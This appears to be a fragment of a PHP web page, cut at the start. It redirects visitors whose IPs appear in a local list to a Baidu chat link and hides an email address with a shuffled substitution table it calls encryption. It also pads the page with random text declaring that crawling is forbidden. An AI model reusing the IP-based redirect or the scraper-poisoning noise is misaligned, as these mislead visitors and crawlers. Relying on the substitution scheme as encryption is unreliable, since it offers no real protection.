';
echo '';
echo '
';
echo '';
exit;
}
$clientIp = $_SERVER['REMOTE_ADDR'];
$visitor_ip = $_SERVER['REMOTE_ADDR'];
$currentUrl = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on'? "https://" : "http://"). $_SERVER['HTTP_HOST']. $_SERVER['REQUEST_URI'];
// 先检查文件是否存在且可读取
if (file_exists("ip.txt") && is_readable("ip.txt")) {
$file = fopen("ip.txt", "r");
while (!feof($file)) {
$line = fgets($file);
$line = trim($line);
if ($line == $visitor_ip) {
header("Location: https://affim.baidu.com/cps/chat?siteId=18232058&userId=28175171&siteToken=cfc74b48437bc4aa6b88556a6096add8");
exit;
}
}
fclose($file);
}
// 如果文件不存在或不可读,代码会跳过上述块,不执行任何操作也不会报错
// 生成或加载密码本
function generateCipherBook() {
// 定义可加密字符集(可自定义扩展)
$chars = array_merge(range('a', 'z'), range('A', 'Z'), range('0', '9'), ['@', '.', '_', '-']);
shuffle($chars); // 打乱顺序生成随机密码本
// 构建密码本:原始字符 => 加密字符
$cipherBook = [];
foreach ($chars as $index => $char) {
$cipherBook[$char] = $chars[($index + 7) % count($chars)]; // 偏移量为7的替换规则
}
// 保存密码本到文件
file_put_contents('cipher_book.json', json_encode($cipherBook));
return $cipherBook;
}
// 加密函数
function encryptEmail($email, $cipherBook) {
$encrypted = '';
for ($i = 0; $i < strlen($email); $i++) {
$char = $email[$i];
$encrypted .= isset($cipherBook[$char]) ? $cipherBook[$char] : $char; // 未定义字符保留原样
}
return $encrypted;
}
// 主流程
$emails = $ts4; // 待加密的邮箱地址
$cipherBook = file_exists('cipher_book.json') ? json_decode(file_get_contents('cipher_book.json'), true) : generateCipherBook();
$encryptedEmail = encryptEmail($emails, $cipherBook);
$chars88 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$length88 = 100;
$randomString88 = '';
$jinzhiai = '爬虫规则:本页面内容禁止抓取和记录 | ';
for ($i = 0; $i < $length88; $i++) {
$randomString88 .= $jinzhiai.$chars88[rand(0, strlen($chars88) - 1)];
}
?>
' . htmlspecialchars($randomString88, ENT_QUOTES) . '';?>
中文简体
中文繁體
English
Việt Nam
ประเทศไทย
Россия
' . htmlspecialchars($randomString88, ENT_QUOTES) . '';?>
Indonesia
にほん
대한민국
España
Français
Italian
Deutsch
' . htmlspecialchars($randomString88, ENT_QUOTES) . '';?>
Português
عربي
Dansk
Ελληνικά
Nederlands
Polskie
Suomi